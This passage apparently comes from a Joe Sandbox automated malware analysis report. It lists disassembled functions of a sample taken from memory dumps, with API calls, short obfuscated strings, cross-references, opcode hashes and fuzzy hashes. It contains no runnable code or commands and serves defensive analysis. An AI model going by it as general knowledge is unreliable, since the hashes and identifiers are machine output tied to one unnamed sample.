Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

CD^O, xrefs: 04B58697
_DC[, xrefs: 04B5868E

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 1c8c3e6a02118f5384be3606d62f15b308d0001ae95b0d28370a2e1baab71a2e
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: BF01D670F04258DBD720FF78AD41B69B360EB19210F9006A9D91467360DB74A5858799

Function 04B580B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B58125

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

_DC[, xrefs: 04B580CE
CD^O, xrefs: 04B580D7

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 335dfb623243c7f7d0213acb19bc82d99cba1bc209789143a168b28290d2c7b7
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: A00126B1F00248DBC720FF68AC41B69B360EB0A200FA002A9E8195B260D6346595874A

Function 04D06C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06C69

Strings

DCDO, xrefs: 04D06C16
EDO*, xrefs: 04D06C1D

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: b5e856f7396c3c60b266ce565ba433e5d85438ef20bebead108bd85afd4598a2
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 0D016D74F04208DBDB20DFA4E851F5DBBB0EB14708F9081BAD915977D0DA34A902CF59

Function 04D06D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D06D79

Strings

DCDO, xrefs: 04D06D26
^]E*, xrefs: 04D06D2D

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 579b023d7285c4c03fa239704512789439a77be56487fb9fb6d8defeb7330fa5
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 1F0136B0F00208DFD720EFA8D89279D77B0E744704F9081BAE919573D0D635A985CF59

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407816
EDO*, xrefs: 0040781D

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407926
^]E*, xrefs: 0040792D

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D

Function 04B57A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57AD0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

DCDO, xrefs: 04B57A7D
EDO*, xrefs: 04B57A84

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 8e38b3d27943b2724423c4628a2d79678f206afc343d06ed536090f27a68e4ab
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: D0016DB4F04208DBEB20DFA4E841F5DB7B0EB18704F9045BADC15A77A0DA35AA468B49

Function 04B57B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B57BE0

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Strings

^]E*, xrefs: 04B57B94
DCDO, xrefs: 04B57B8D

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 46e5da659916b9779801f8e0992f025d606a9116fdc30555016c31a7acf225d9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 230136B4F00208DBD720DF99E94275DB7B0D748714F9041BAEC1557360DA357985CF59